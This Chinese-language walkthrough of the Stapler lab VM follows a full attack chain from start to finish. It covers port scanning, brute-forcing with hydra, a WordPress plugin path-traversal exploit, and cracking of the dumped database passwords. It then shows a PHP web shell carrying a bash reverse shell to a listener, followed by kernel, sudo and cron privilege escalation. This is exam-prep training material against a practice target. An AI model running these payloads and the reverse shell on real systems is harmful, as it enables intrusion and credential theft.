OSCP备战-Stapler靶场详细步骤
官方给出评级是中等难度
一、配置靶机环境
导入VM报错如下
打开ovf文件,将全部的Caption替换为ElementName
回到存储目录,删除同级目录下的mf文件
重新尝试导入VM,成功
编辑虚拟机网卡,改为Nat模式,启动虚拟机
二、查看目标IP
arp-scan -l
netdiscover -i eth0 -r 192.168.155.0/24
namp -sP 192.168.155.0/24
得到靶机ip:192.168.155.179
三、扫描端口
nmap -p- 192.168.155.179 --min-rate 1000
得到结果:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 03:40 EDT
Nmap scan report for 192.168.155.179
Host is up (0.00034s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknown
MAC Address: 00:0C:29:7D:81:16 (VMware)
nmap -p 21,22,53,80,666,3306,12380 192.168.155.179 -sC -sV -r -O --version-all -A -oA Stapler
四、GETshell
思路一
开启了很多端口
139 SMB端口
enum4linux -a 192.168.155.179
存在4个目录共享,共享类型,回显OK的有两个
smbclient -N //192.168.179.149/tmp
smbclient -N //192.168.179.149/kathy
没啥信息
发现了多个用户信息,复制保存后改变格式
cat user.txt | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt
FTP爆破:
hydra -L users.txt -P users.txt 192.168.155.179 ftp
查看里面的文件:
太多了没细看
同理ssh爆破:
hydra -L users.txt -P users.txt 192.168.155.179 ssh
cd /tmp
uname -a
后续就是内核提权
思路二(最开始的没注意smb)
端口21 FTP
Anonymous FTP login allowed,允许匿名登录
ftp 192.168.155.179
anonymous
密码置空
ls
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
普通文件note 可读
读取文件:
more note
获得信息
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
没有其他信息了
拿着Elly尝试去连接了一下ssh,提示给出Barry这个名字,kali默认字典用hydra爆破了一下,没有出结果
53 dns端口没什么好看的,进入80端口
80端口给了个自己写的404
目录扫描了一下:
dirsearch -u http://192.168.155.179:80 -e *
给出三个文件,目前没有什么用处
转到12380端口
查看源代码,HR Zoe
再次进行目录扫描:
dirsearch -u http://192.168.155.179:12380 -e *
什么信息都没有给出
抓包查看响应试试,直接返回首页,提示400错误,即客户端错误
通常又表示客户端请求存在格式或逻辑问题,服务器无法解析或处理
可能错误点:
1、URL地址错误
2、请求参数错误
3、请求头错误
4、客户行为错误
5、协议错误
单纯请求网站首页,没有进行任何更改,试试协议错误,更改协议http为https
页面发生变化,重新进行扫描,出现结果
访问/robot.txt
得到信息:
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/
发现两个目录
访问 /admin112233/出现xss弹窗
访问/blogblog/,John的博客
得到信息
Pam 生日 2016年五月第二周星期五
Vicki 设法解决wordpress插件,实际上从最下面看博客基于wordpress
对博客页面进行目录扫描
很多东西
/wp-content/中发现插件目录,Vicki是否设法解决了?其他两个目录几乎没有消息
进入/plugins/
发现advanced-video-embed,搜索一下漏洞
searchsploit advanced video
searchspolit -m 39646.py
vim 39646.py
找到POC
自己尝试构造poc:
https://192.168.155.179:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../../../../../../../../../etc/passwd
访问:
https://192.168.155.179:12380/blogblog/?p=230
返回/wp-content/upLoad/页面,发现有信息了
打开失败,尝试下载:
wget https://192.168.155.179:12380/blogblog/wp-content/uploads/1174695409.jpeg
证明不可信,添加参数:
--no-check-certificate
file查看文件类型
改变文件后缀
读取文件:
cat 1.txt
重复上述步骤读取其他文件:
https://192.168.155.179:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php
发现账号:
root/plbkac
(这里看别人的方法有,固定该密码,对应smb得到的用户名去爆破ssh,能爆破出Zoe/plbkac,思路三?)
登录mysql
mysql -uroot -pplbkac -h 192.168.155.179 --ssl=0
数据库:
show databases;
表:
use wordpress;
show tables;
字段值:
select * from wp-users;
得到大量用户信息
复制下来保存为sql.txt
awk -F'|' '{print $3, $4}' sql.txt > new_file.txt
-F'|':指定字段分隔符为|
{print $3, $4}:表示打印第三列(名字)和第四列(密码)。
> new_file.txt :将输出重定向到一个名为new_file.txt 的新文件中。
获得名字和密码,查看加密算法
hash-identifier
显示是md5加密
批量进行解密需要转换一下格式:
with open("new_file.txt","r") as f: lines = f.readlines()
with open("result.txt","w") as f1: for line in lines: parts = line.strip().split() if len(parts) == 2: key, value = parts f1.write(key + ":" + value + "\n")
记得解压字典:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
运行:
john result.txt --wordlist=/usr/share/wordlists/rockyou.txt
得到用户名对应的明文密码
回到网站页面使用john进行登录:
找到一个上传文件点,那就上传木马
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.155.166/9001 0>&1'");
?>
回到/wp-content/upload触发木马
成功连接

五、提权
内核提权
查看内核:
uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux
典型Ubuntu LTS发行版内核,推测来自Ubuntu 16.04 LTS
搜索一下:
searchsploit Ubuntu 16.04
searchsploit -m 39772.txt
cat 39772.txt
下载:
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
开启监听:
python -m http.server 4443
下载:
wget http://192.168.155.166:4443/39772.zip
unzip 39772.zip
cd 39772
ls
tar -xvf crasher.tar
cd ebpf_mapfd_doubleput_crasher
ls
./compile.sh
./doubleput
实现提权
sudo提权
发现每个用户下都存在一个.bash_history文件
cat */.bash_history
显示信息:
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
再次进行ssh登录
sudo -l查看权限
(ALL : ALL) ALL啥都可以
sudo su root
id
cd ~
cat flag.txt
成功
Cron Jobs提权的
查看cron任务计划表:
ls -alh /etc/*cron*
读取:
cat /etc/cron.d/logrotate
没啥内容,权限很高,写入:
echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /usr/local/sbin/cron-logrotate.sh
等待后:
/tmp/getroot -p